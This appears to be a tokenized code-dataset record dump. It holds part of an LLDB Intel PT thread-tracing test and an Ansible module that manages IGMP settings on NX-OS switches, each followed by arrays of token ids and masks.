" + os.path.join(self.getSourceDir(), "intelpt-trace", "a.out")) self.expect("b main") self.expect("r") self.traceStartThread( error=True, threadBufferSize=2000, substrs=["The trace buffer size must be a power of 2", "It was 2000"]) self.traceStartThread( error=True, threadBufferSize=5000, substrs=["The trace buffer size must be a power of 2", "It was 5000"]) self.traceStartThread( error=True, threadBufferSize=0, substrs=["The trace buffer size must be a power of 2", "It was 0"]) self.traceStartThread(threadBufferSize=1048576) @skipIf(oslist=no_match(['linux']), archs=no_match(['i386', 'x86_64'])) def testSBAPIHelp(self): self.expect("file " + os.path.join(self.getSourceDir(), "intelpt-trace", "a.out")) self.expect("b main") self.expect("r") help = self.getTraceOrCreate().GetStartConfigurationHelp() self.assertIn("threadBufferSize", help) self.assertIn("processBufferSizeLimit", help) @skipIf(oslist=no_match(['linux']), archs=no_match(['i386', 'x86_64'])) def testStoppingAThread(self): self.expect("file " + os.path.join(self.getSourceDir(), "intelpt-trace", "a.out")) self.expect("b main") self.expect("r") self.expect("thread trace start") self.expect("n") self.expect("thread trace dump instructions", substrs=["total instructions"]) # process stopping should stop the thread self.expect("process trace stop") self.expect("n") self.expect("thread trace dump instructions", error=True, substrs=["not traced"]) @skipIf(oslist=no_match(['linux']), archs=no_match(['i386', 'x86_64'])) def testStartStopLiveThreads(self): # The help command should be the generic one if there's no process running self.expectGenericHelpMessageForStartCommand() self.expect("thread trace start", error=True, substrs=["error: Process not available"]) self.expect("file " + os.path.join(self.getSourceDir(), "intelpt-trace", "a.out")) self.expect("b main") self.expect("thread trace start", error=True, substrs=["error: Process not available"]) # The help command should be the generic one if there's still no process running self.expectGenericHelpMessageForStartCommand() self.expect("r") # This fails because "trace start" hasn't been called yet self.expect("thread trace stop", error=True, substrs=["error: Process is not being traced"]) # the help command should be the intel-pt one now self.expect("help thread trace start", substrs=["Start tracing one or more threads with intel-pt.", "Syntax: thread trace start [<thread-index> <thread-index> ...] [<intel-pt-options>]"]) # We start tracing with a small buffer size self.expect("thread trace start 1 --size 4096") # We fail if we try to trace again self.expect("thread trace start", error=True, substrs=["error: Thread ", "already traced"]) # We can reconstruct the single instruction executed in the first line self.expect("n") self.expect("thread trace dump instructions", patterns=[f'''thread #1: tid = .*, total instructions = 1 a.out`main \+ 4 at main.cpp:2 \[0\] {ADDRESS_REGEX} movl''']) # We can reconstruct the instructions up to the second line self.expect("n") self.expect("thread trace dump instructions", patterns=[f'''thread #1: tid = .*, total instructions = 5 a.out`main \+ 4 at main.cpp:2 \[0\] {ADDRESS_REGEX} movl .* a.out`main \+ 11 at main.cpp:4 \[1\] {ADDRESS_REGEX} movl .* \[2\] {ADDRESS_REGEX} jmp .* ; <\+28> at main.cpp:4 \[3\] {ADDRESS_REGEX} cmpl .* \[4\] {ADDRESS_REGEX} jle .* ; <\+20> at main.cpp:5''']) # We stop tracing self.expect("thread trace stop") # We can't stop twice self.expect("thread trace stop", error=True, substrs=["error: Thread ", "not currently traced"]) # We trace again from scratch, this time letting LLDB to pick the current # thread self.expect("thread trace start") self.expect("n") self.expect("thread trace dump instructions", patterns=[f'''thread #1: tid = .*, total instructions = 1 a.out`main \+ 20 at main.cpp:5 \[0\] {ADDRESS_REGEX} xorl''']) self.expect("c") # Now the process has finished, so the commands should fail self.expect("thread trace start", error=True, substrs=["error: Process must be launched"]) self.expect("thread trace stop", error=True, substrs=["error: Process must be launched"])
apache-2.0
[ 646, 634, 15793, 199, 504, 27925, 541, 63, 10847, 492, 627, 199, 504, 634, 15793, 5768, 14, 396, 14, 914, 697, 396, 492, 627, 199, 504, 634, 15793, 5768, 14, 396, 492, 634, 1447, 464, 2270, 199, 504, 634, 15793, 5768, 14, 396, 14, 11582, 492, 627, 199, 199, 533, 1379, 3921, 3162, 6293, 8, 3921, 27528, 4189, 1746, 1563, 304, 339, 3002, 694, 275, 1379, 1563, 14, 3357, 63, 1662, 694, 3460, 493, 3368, 339, 347, 4282, 9417, 8673, 2209, 1858, 3162, 3110, 8, 277, 304, 267, 291, 14, 4921, 480, 3437, 2462, 3307, 1343, 401, 288, 1007, 16144, 6270, 16626, 26, 2462, 3307, 1343, 24936, 3446, 13, 1419, 19109, 3135, 339, 768, 396, 12463, 3735, 3325, 14680, 272, 347, 511, 3162, 6293, 4434, 1173, 22785, 8, 277, 304, 267, 327, 652, 1077, 2449, 367, 10358, 687, 2022, 2351, 1584, 267, 291, 14, 4921, 480, 3446, 2248, 446, 86, 298, 435, 747, 14, 515, 14, 904, 8, 277, 14, 362, 2980, 3567, 1062, 298, 22264, 541, 13, 3446, 401, 298, 3446, 14, 1001, 2237, 398, 327, 314, 1720, 1414, 1077, 506, 314, 7809, 1373, 12, 465, 652, 1159, 440, 282, 12166, 2112, 267, 291, 14, 4921, 9417, 8673, 2209, 1858, 3162, 3110, 342, 398, 291, 14, 3446, 3162, 4436, 8, 705, 29, 549, 9, 398, 291, 14, 3446, 6293, 4436, 8, 705, 29, 549, 9, 339, 768, 396, 12463, 3735, 3325, 14680, 272, 347, 511, 3162, 3007, 1944, 3498, 8, 277, 304, 267, 291, 14, 3446, 3162, 4436, 8, 705, 29, 549, 9, 339, 768, 396, 12463, 3735, 3325, 14680, 272, 347, 511, 3162, 4434, 3007, 14858, 2320, 8, 277, 304, 267, 291, 14, 4921, 480, 493, 298, 435, 747, 14, 515, 14, 904, 8, 277, 14, 362, 2980, 3567, 1062, 298, 22264, 541, 13, 3446, 401, 298, 65, 14, 548, 2237, 267, 291, 14, 4921, 480, 66, 2446, 531, 267, 291, 14, 4921, 480, 82, 531, 398, 291, 14, 3446, 3162, 4436, 8, 288, 1125, 29, 549, 12, 2462, 3299, 2320, 29, 8269, 12, 288, 1007, 16144, 6270, 1918, 3307, 3335, 1568, 1471, 506, 282, 7074, 402, 499, 401, 298, 7940, 1990, 12293, 3135, 398, 291, 14, 3446, 3162, 4436, 8, 288, 1125, 29, 549, 12, 2462, 3299, 2320, 29, 13128, 12, 288, 1007, 16144, 6270, 1918, 3307, 3335, 1568, 1471, 506, 282, 7074, 402, 499, 401, 298, 7940, 1990, 22369, 3135, 398, 291, 14, 3446, 3162, 4436, 8, 288, 1125, 29, 549, 12, 2462, 3299, 2320, 29, 16, 12, 288, 1007, 16144, 6270, 1918, 3307, 3335, 1568, 1471, 506, 282, 7074, 402, 499, 401, 298, 7940, 1990, 378, 3135, 398, 291, 14, 3446, 3162, 4436, 8, 2671, 3299, 2320, 29, 709, 2006, 12255, 9, 339, 768, 15118, 8, 736, 513, 29, 889, 63, 1431, 2941, 5135, 3815, 32244, 29, 889, 63, 1431, 2941, 73, 8040, 297, 283, 88, 1184, 63, 772, 5156, 272, 347, 511, 12463, 3735, 8673, 8, 277, 304, 267, 291, 14, 4921, 480, 493, 298, 435, 747, 14, 515, 14, 904, 8, 277, 14, 362, 2980, 3567, 1062, 298, 22264, 541, 13, 3446, 401, 298, 65, 14, 548, 2237, 267, 291, 14, 4921, 480, 66, 2446, 531, 267, 291, 14, 4921, 480, 82, 531, 398, 1720, 275, 291, 14, 362, 3921, 2844, 2499, 1252, 1002, 3162, 5688, 8673, 342, 267, 291, 14, 4080, 480, 2671, 3299, 2320, 401, 1720, 9, 267, 291, 14, 4080, 480, 1412, 3299, 2320, 8407, 401, 1720, 9, 339, 768, 15118, 8, 736, 513, 29, 889, 63, 1431, 2941, 5135, 3815, 32244, 29, 889, 63, 1431, 2941, 73, 8040, 297, 283, 88, 1184, 63, 772, 5156, 272, 347, 511, 6293, 4073, 619, 72, 739, 8, 277, 304, 267, 291, 14, 4921, 480, 493, 298, 435, 747, 14, 515, 14, 904, 8, 277, 14, 362, 2980, 3567, 1062, 298, 22264, 541, 13, 3446, 401, 298, 65, 14, 548, 2237, 267, 291, 14, 4921, 480, 66, 2446, 531, 267, 291, 14, 4921, 480, 82, 531, 267, 291, 14, 4921, 480, 2671, 3307, 1343, 531, 267, 291, 14, 4921, 480, 78, 531, 267, 291, 14, 4921, 480, 2671, 3307, 5461, 15794, 401, 1007, 16144, 6270, 2923, 15794, 3135, 267, 327, 2112, 23599, 1077, 3631, 314, 2462, 267, 291, 14, 4921, 480, 1412, 3307, 3631, 531, 267, 291, 14, 4921, 480, 78, 531, 267, 291, 14, 4921, 480, 2671, 3307, 5461, 15794, 401, 1125, 29, 549, 12, 1007, 16144, 6270, 1397, 28110, 3135, 2378, 768, 15118, 8, 736, 513, 29, 889, 63, 1431, 2941, 5135, 3815, 32244, 29, 889, 63, 1431, 2941, 73, 8040, 297, 283, 88, 1184, 63, 772, 5156, 272, 347, 511, 3162, 6293, 17458, 22785, 8, 277, 304, 267, 327, 710, 1720, 1414, 1077, 506, 314, 7809, 1373, 340, 2337, 1159, 949, 2112, 3879, 267, 291, 14, 4921, 9417, 8673, 2209, 1858, 3162, 3110, 342, 398, 291, 14, 4921, 480, 2671, 3307, 1343, 401, 1125, 29, 549, 12, 288, 1007, 16144, 6270, 705, 26, 7132, 440, 2808, 3135, 398, 291, 14, 4921, 480, 493, 298, 435, 747, 14, 515, 14, 904, 8, 277, 14, 362, 2980, 3567, 1062, 298, 22264, 541, 13, 3446, 401, 298, 65, 14, 548, 2237, 267, 291, 14, 4921, 480, 66, 2446, 531, 398, 291, 14, 4921, 480, 2671, 3307, 1343, 401, 1125, 29, 549, 12, 288, 1007, 16144, 6270, 705, 26, 7132, 440, 2808, 3135, 398, 327, 710, 1720, 1414, 1077, 506, 314, 7809, 1373, 340, 2337, 1159, 5139, 949, 2112, 3879, 267, 291, 14, 4921, 9417, 8673, 2209, 1858, 3162, 3110, 342, 398, 291, 14, 4921, 480, 82, 531, 398, 327, 961, 6918, 2952, 298, 3446, 1343, 2, 18699, 1133, 2757, 2797, 5966, 267, 291, 14, 4921, 480, 2671, 3307, 3631, 401, 1125, 29, 549, 12, 288, 1007, 16144, 6270, 705, 26, 7132, 365, 440, 3769, 28110, 3135, 7318, 327, 314, 1720, 1414, 1077, 506, 314, 27925, 13, 541, 1373, 3063, 267, 291, 14, 4921, 480, 3437, 2462, 3307, 1343, 401, 288, 1007, 16144, 6270, 3162, 23465, 1373, 503, 1655, 7183, 543, 27925, 13, 541, 4765, 2151, 298, 16626, 26, 2462, 3307, 1343, 24936, 2671, 13, 1080, 30, 665, 2671, 13, 1080, 30, 21214, 24936, 22264, 13, 541, 13, 1419, 19109, 3135, 398, 327, 2136, 1343, 23465, 543, 282 ]
[ 634, 15793, 199, 504, 27925, 541, 63, 10847, 492, 627, 199, 504, 634, 15793, 5768, 14, 396, 14, 914, 697, 396, 492, 627, 199, 504, 634, 15793, 5768, 14, 396, 492, 634, 1447, 464, 2270, 199, 504, 634, 15793, 5768, 14, 396, 14, 11582, 492, 627, 199, 199, 533, 1379, 3921, 3162, 6293, 8, 3921, 27528, 4189, 1746, 1563, 304, 339, 3002, 694, 275, 1379, 1563, 14, 3357, 63, 1662, 694, 3460, 493, 3368, 339, 347, 4282, 9417, 8673, 2209, 1858, 3162, 3110, 8, 277, 304, 267, 291, 14, 4921, 480, 3437, 2462, 3307, 1343, 401, 288, 1007, 16144, 6270, 16626, 26, 2462, 3307, 1343, 24936, 3446, 13, 1419, 19109, 3135, 339, 768, 396, 12463, 3735, 3325, 14680, 272, 347, 511, 3162, 6293, 4434, 1173, 22785, 8, 277, 304, 267, 327, 652, 1077, 2449, 367, 10358, 687, 2022, 2351, 1584, 267, 291, 14, 4921, 480, 3446, 2248, 446, 86, 298, 435, 747, 14, 515, 14, 904, 8, 277, 14, 362, 2980, 3567, 1062, 298, 22264, 541, 13, 3446, 401, 298, 3446, 14, 1001, 2237, 398, 327, 314, 1720, 1414, 1077, 506, 314, 7809, 1373, 12, 465, 652, 1159, 440, 282, 12166, 2112, 267, 291, 14, 4921, 9417, 8673, 2209, 1858, 3162, 3110, 342, 398, 291, 14, 3446, 3162, 4436, 8, 705, 29, 549, 9, 398, 291, 14, 3446, 6293, 4436, 8, 705, 29, 549, 9, 339, 768, 396, 12463, 3735, 3325, 14680, 272, 347, 511, 3162, 3007, 1944, 3498, 8, 277, 304, 267, 291, 14, 3446, 3162, 4436, 8, 705, 29, 549, 9, 339, 768, 396, 12463, 3735, 3325, 14680, 272, 347, 511, 3162, 4434, 3007, 14858, 2320, 8, 277, 304, 267, 291, 14, 4921, 480, 493, 298, 435, 747, 14, 515, 14, 904, 8, 277, 14, 362, 2980, 3567, 1062, 298, 22264, 541, 13, 3446, 401, 298, 65, 14, 548, 2237, 267, 291, 14, 4921, 480, 66, 2446, 531, 267, 291, 14, 4921, 480, 82, 531, 398, 291, 14, 3446, 3162, 4436, 8, 288, 1125, 29, 549, 12, 2462, 3299, 2320, 29, 8269, 12, 288, 1007, 16144, 6270, 1918, 3307, 3335, 1568, 1471, 506, 282, 7074, 402, 499, 401, 298, 7940, 1990, 12293, 3135, 398, 291, 14, 3446, 3162, 4436, 8, 288, 1125, 29, 549, 12, 2462, 3299, 2320, 29, 13128, 12, 288, 1007, 16144, 6270, 1918, 3307, 3335, 1568, 1471, 506, 282, 7074, 402, 499, 401, 298, 7940, 1990, 22369, 3135, 398, 291, 14, 3446, 3162, 4436, 8, 288, 1125, 29, 549, 12, 2462, 3299, 2320, 29, 16, 12, 288, 1007, 16144, 6270, 1918, 3307, 3335, 1568, 1471, 506, 282, 7074, 402, 499, 401, 298, 7940, 1990, 378, 3135, 398, 291, 14, 3446, 3162, 4436, 8, 2671, 3299, 2320, 29, 709, 2006, 12255, 9, 339, 768, 15118, 8, 736, 513, 29, 889, 63, 1431, 2941, 5135, 3815, 32244, 29, 889, 63, 1431, 2941, 73, 8040, 297, 283, 88, 1184, 63, 772, 5156, 272, 347, 511, 12463, 3735, 8673, 8, 277, 304, 267, 291, 14, 4921, 480, 493, 298, 435, 747, 14, 515, 14, 904, 8, 277, 14, 362, 2980, 3567, 1062, 298, 22264, 541, 13, 3446, 401, 298, 65, 14, 548, 2237, 267, 291, 14, 4921, 480, 66, 2446, 531, 267, 291, 14, 4921, 480, 82, 531, 398, 1720, 275, 291, 14, 362, 3921, 2844, 2499, 1252, 1002, 3162, 5688, 8673, 342, 267, 291, 14, 4080, 480, 2671, 3299, 2320, 401, 1720, 9, 267, 291, 14, 4080, 480, 1412, 3299, 2320, 8407, 401, 1720, 9, 339, 768, 15118, 8, 736, 513, 29, 889, 63, 1431, 2941, 5135, 3815, 32244, 29, 889, 63, 1431, 2941, 73, 8040, 297, 283, 88, 1184, 63, 772, 5156, 272, 347, 511, 6293, 4073, 619, 72, 739, 8, 277, 304, 267, 291, 14, 4921, 480, 493, 298, 435, 747, 14, 515, 14, 904, 8, 277, 14, 362, 2980, 3567, 1062, 298, 22264, 541, 13, 3446, 401, 298, 65, 14, 548, 2237, 267, 291, 14, 4921, 480, 66, 2446, 531, 267, 291, 14, 4921, 480, 82, 531, 267, 291, 14, 4921, 480, 2671, 3307, 1343, 531, 267, 291, 14, 4921, 480, 78, 531, 267, 291, 14, 4921, 480, 2671, 3307, 5461, 15794, 401, 1007, 16144, 6270, 2923, 15794, 3135, 267, 327, 2112, 23599, 1077, 3631, 314, 2462, 267, 291, 14, 4921, 480, 1412, 3307, 3631, 531, 267, 291, 14, 4921, 480, 78, 531, 267, 291, 14, 4921, 480, 2671, 3307, 5461, 15794, 401, 1125, 29, 549, 12, 1007, 16144, 6270, 1397, 28110, 3135, 2378, 768, 15118, 8, 736, 513, 29, 889, 63, 1431, 2941, 5135, 3815, 32244, 29, 889, 63, 1431, 2941, 73, 8040, 297, 283, 88, 1184, 63, 772, 5156, 272, 347, 511, 3162, 6293, 17458, 22785, 8, 277, 304, 267, 327, 710, 1720, 1414, 1077, 506, 314, 7809, 1373, 340, 2337, 1159, 949, 2112, 3879, 267, 291, 14, 4921, 9417, 8673, 2209, 1858, 3162, 3110, 342, 398, 291, 14, 4921, 480, 2671, 3307, 1343, 401, 1125, 29, 549, 12, 288, 1007, 16144, 6270, 705, 26, 7132, 440, 2808, 3135, 398, 291, 14, 4921, 480, 493, 298, 435, 747, 14, 515, 14, 904, 8, 277, 14, 362, 2980, 3567, 1062, 298, 22264, 541, 13, 3446, 401, 298, 65, 14, 548, 2237, 267, 291, 14, 4921, 480, 66, 2446, 531, 398, 291, 14, 4921, 480, 2671, 3307, 1343, 401, 1125, 29, 549, 12, 288, 1007, 16144, 6270, 705, 26, 7132, 440, 2808, 3135, 398, 327, 710, 1720, 1414, 1077, 506, 314, 7809, 1373, 340, 2337, 1159, 5139, 949, 2112, 3879, 267, 291, 14, 4921, 9417, 8673, 2209, 1858, 3162, 3110, 342, 398, 291, 14, 4921, 480, 82, 531, 398, 327, 961, 6918, 2952, 298, 3446, 1343, 2, 18699, 1133, 2757, 2797, 5966, 267, 291, 14, 4921, 480, 2671, 3307, 3631, 401, 1125, 29, 549, 12, 288, 1007, 16144, 6270, 705, 26, 7132, 365, 440, 3769, 28110, 3135, 7318, 327, 314, 1720, 1414, 1077, 506, 314, 27925, 13, 541, 1373, 3063, 267, 291, 14, 4921, 480, 3437, 2462, 3307, 1343, 401, 288, 1007, 16144, 6270, 3162, 23465, 1373, 503, 1655, 7183, 543, 27925, 13, 541, 4765, 2151, 298, 16626, 26, 2462, 3307, 1343, 24936, 2671, 13, 1080, 30, 665, 2671, 13, 1080, 30, 21214, 24936, 22264, 13, 541, 13, 1419, 19109, 3135, 398, 327, 2136, 1343, 23465, 543, 282, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
dharmabumstead/ansible
lib/ansible/modules/network/nxos/nxos_igmp.py
81
4827
#!/usr/bin/python # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. # ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['preview'], 'supported_by': 'network'} DOCUMENTATION = ''' --- module: nxos_igmp extends_documentation_fragment: nxos version_added: "2.2" short_description: Manages IGMP global configuration. description: - Manages IGMP global configuration configuration settings. author: - Jason Edelman (@jedelman8) - Gabriele Gerbino (@GGabriele) notes: - Tested against NXOSv 7.3.(0)D1(1) on VIRL - When C(state=default), all supported params will be reset to a default state. - If restart is set to true with other params set, the restart will happen last, i.e. after the configuration takes place. options: flush_routes: description: - Removes routes when the IGMP process is restarted. By default, routes are not flushed. type: bool enforce_rtr_alert: description: - Enables or disables the enforce router alert option check for IGMPv2 and IGMPv3 packets. type: bool restart: description: - Restarts the igmp process (using an exec config command). type: bool state: description: - Manages desired state of the resource. default: present choices: ['present', 'default'] ''' EXAMPLES = ''' - name: Default igmp global params (all params except restart) nxos_igmp: state: default - name: Ensure the following igmp global config exists on the device nxos_igmp: flush_routes: true enforce_rtr_alert: true - name: Restart the igmp process nxos_igmp: restart: true ''' RETURN = ''' updates: description: commands sent to the device returned: always type: list sample: ["ip igmp flush-routes"] ''' from ansible.module_utils.network.nxos.nxos import load_config, run_commands from ansible.module_utils.network.nxos.nxos import nxos_argument_spec, check_args from ansible.module_utils.basic import AnsibleModule def get_current(module): output = run_commands(module, {'command': 'show running-config', 'output': 'text'}) return { 'flush_routes': 'ip igmp flush-routes' in output[0], 'enforce_rtr_alert': 'ip igmp enforce-router-alert' in output[0] } def get_desired(module): return { 'flush_routes': module.params['flush_routes'], 'enforce_rtr_alert': module.params['enforce_rtr_alert'] } def main(): argument_spec = dict( flush_routes=dict(type='bool'), enforce_rtr_alert=dict(type='bool'), restart=dict(type='bool', default=False), state=dict(choices=['present', 'default'], default='present') ) argument_spec.update(nxos_argument_spec) module = AnsibleModule(argument_spec=argument_spec, supports_check_mode=True) warnings = list() check_args(module, warnings) current = get_current(module) desired = get_desired(module) state = module.params['state'] restart = module.params['restart'] commands = list() if state == 'default': if current['flush_routes']: commands.append('no ip igmp flush-routes') if current['enforce_rtr_alert']: commands.append('no ip igmp enforce-router-alert') elif state == 'present': ldict = {'flush_routes': 'flush-routes', 'enforce_rtr_alert': 'enforce-router-alert'} for arg in ['flush_routes', 'enforce_rtr_alert']: if desired[arg] and not current[arg]: commands.append('ip igmp {0}'.format(ldict.get(arg))) elif current[arg] and not desired[arg]: commands.append('no ip igmp {0}'.format(ldict.get(arg))) result = {'changed': False, 'updates': commands, 'warnings': warnings} if commands: if not module.check_mode: load_config(module, commands) result['changed'] = True if module.params['restart']: cmd = {'command': 'restart igmp', 'output': 'text'} run_commands(module, cmd) module.exit_json(**result) if __name__ == '__main__': main()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 17, 297, 490, 283, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 1200, 936, 421, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 22072, 63, 528, 311, 199, 11036, 63, 9970, 63, 7677, 26, 22072, 199, 1023, 63, 3270, 26, 298, 18, 14, 18, 2, 199, 3612, 63, 1802, 26, 21612, 473, 39, 1658, 2288, 2897, 14, 199, 1802, 26, 272, 446, 21612, 473, 39, 1658, 2288, 2897, 2897, 2202, 14, 199, 2502, 26, 272, 446, 1603, 2660, 662, 2264, 1237, 8593, 6532, 2264, 1237, 24, 9, 272, 446, 598, 371, 322, 8081, 22261, 1393, 79, 8593, 2916, 371, 322, 8081, 9, 199, 5983, 26, 272, 446, 30568, 6169, 653, 56, 3100, 86, 1520, 14, 19, 14, 8, 16, 9, 36, 17, 8, 17, 9, 641, 812, 41, 2431, 272, 446, 3979, 445, 8, 929, 29, 885, 395, 1006, 3748, 1862, 911, 506, 5305, 370, 282, 489, 849, 1174, 14, 272, 446, 982, 11004, 365, 663, 370, 2549, 543, 1163, 1862, 663, 12, 314, 11004, 911, 5992, 489, 2061, 12, 284, 14, 69, 14, 2410, 314, 2897, 6181, 4192, 14, 199, 1419, 26, 272, 8976, 63, 13243, 26, 267, 1369, 26, 288, 446, 23169, 15777, 1380, 314, 473, 39, 1658, 2112, 365, 32277, 14, 4885, 849, 12, 1598, 15777, 787, 440, 8976, 379, 14, 267, 730, 26, 2155, 272, 15814, 63, 82, 454, 63, 9241, 26, 267, 1369, 26, 288, 446, 3447, 5921, 503, 28421, 314, 15814, 6197, 10459, 945, 1104, 367, 1598, 473, 39, 1658, 86, 18, 436, 473, 39, 1658, 86, 19, 14593, 14, 267, 730, 26, 2155, 272, 11004, 26, 267, 1369, 26, 288, 446, 799, 17116, 314, 284, 28003, 2112, 334, 4941, 376, 2146, 1101, 1414, 680, 267, 730, 26, 2155, 272, 1174, 26, 267, 1369, 26, 288, 446, 21612, 6387, 1174, 402, 314, 2073, 14, 267, 849, 26, 3451, 267, 3415, 26, 788, 1881, 297, 283, 885, 418, 199, 2344, 199, 8918, 275, 1449, 199, 13, 536, 26, 3758, 284, 28003, 2288, 1862, 334, 452, 1862, 871, 11004, 9, 523, 22072, 63, 528, 311, 26, 272, 1174, 26, 849, 199, 199, 13, 536, 26, 7523, 314, 2569, 284, 28003, 2288, 1101, 3495, 641, 314, 2243, 523, 22072, 63, 528, 311, 26, 272, 8976, 63, 13243, 26, 2549, 272, 15814, 63, 82, 454, 63, 9241, 26, 2549, 199, 199, 13, 536, 26, 799, 928, 314, 284, 28003, 2112, 523, 22072, 63, 528, 311, 26, 272, 11004, 26, 2549, 199, 2344, 199, 199, 9677, 275, 1449, 199, 7618, 26, 272, 1369, 26, 3718, 4847, 370, 314, 2243, 272, 2138, 26, 3544, 272, 730, 26, 769, 272, 2690, 26, 2097, 711, 284, 28003, 8976, 13, 13243, 937, 199, 2344, 199, 504, 3242, 14, 578, 63, 1208, 14, 1200, 14, 17982, 14, 17982, 492, 2248, 63, 888, 12, 1255, 63, 4405, 199, 504, 3242, 14, 578, 63, 1208, 14, 1200, 14, 17982, 14, 17982, 492, 22072, 63, 2094, 63, 1650, 12, 1104, 63, 589, 199, 504, 3242, 14, 578, 63, 1208, 14, 4316, 492, 6953, 421, 199, 318, 664, 63, 1818, 8, 578, 304, 272, 1072, 275, 1255, 63, 4405, 8, 578, 12, 791, 1531, 356, 283, 2384, 3879, 13, 888, 297, 283, 1199, 356, 283, 505, 3071, 272, 372, 469, 267, 283, 4939, 63, 13243, 356, 283, 711, 284, 28003, 8976, 13, 13243, 7, 315, 1072, 59, 16, 467, 267, 283, 19817, 63, 82, 454, 63, 9241, 356, 283, 711, 284, 28003, 15814, 13, 4995, 13, 9241, 7, 315, 1072, 59, 16, 61, 272, 789, 421, 199, 318, 664, 63, 16035, 8, 578, 304, 272, 372, 469, 267, 283, 4939, 63, 13243, 356, 859, 14, 1162, 459, 4939, 63, 13243, 995, 267, 283, 19817, 63, 82, 454, 63, 9241, 356, 859, 14, 1162, 459, 19817, 63, 82, 454, 63, 9241, 418, 272, 789, 421, 199, 318, 2446, 837, 272, 1423, 63, 1650, 275, 1211, 8, 267, 8976, 63, 13243, 29, 807, 8, 466, 534, 2245, 659, 267, 15814, 63, 82, 454, 63, 9241, 29, 807, 8, 466, 534, 2245, 659, 267, 11004, 29, 807, 8, 466, 534, 2245, 297, 849, 29, 797, 395, 267, 1174, 29, 807, 8, 4577, 2968, 1881, 297, 283, 885, 995, 849, 534, 1881, 358, 272, 776, 339, 1423, 63, 1650, 14, 873, 8, 17982, 63, 2094, 63, 1650, 9, 339, 859, 275, 6953, 8, 2094, 63, 1650, 29, 2094, 63, 1650, 12, 2574, 5171, 63, 1074, 63, 632, 29, 549, 9, 339, 3598, 275, 769, 342, 272, 1104, 63, 589, 8, 578, 12, 3598, 9, 339, 1453, 275, 664, 63, 1818, 8, 578, 9, 272, 6387, 275, 664, 63, 16035, 8, 578, 9, 339, 1174, 275, 859, 14, 1162, 459, 929, 418, 272, 11004, 275, 859, 14, 1162, 459, 10506, 418, 339, 3718, 275, 769, 342, 339, 340, 1174, 508, 283, 885, 356, 267, 340, 1453, 459, 4939, 63, 13243, 2565, 288, 3718, 14, 740, 360, 889, 3384, 284, 28003, 8976, 13, 13243, 358, 267, 340, 1453, 459, 19817, 63, 82, 454, 63, 9241, 2565, 288, 3718, 14, 740, 360, 889, 3384, 284, 28003, 15814, 13, 4995, 13, 9241, 358, 339, 916 ]
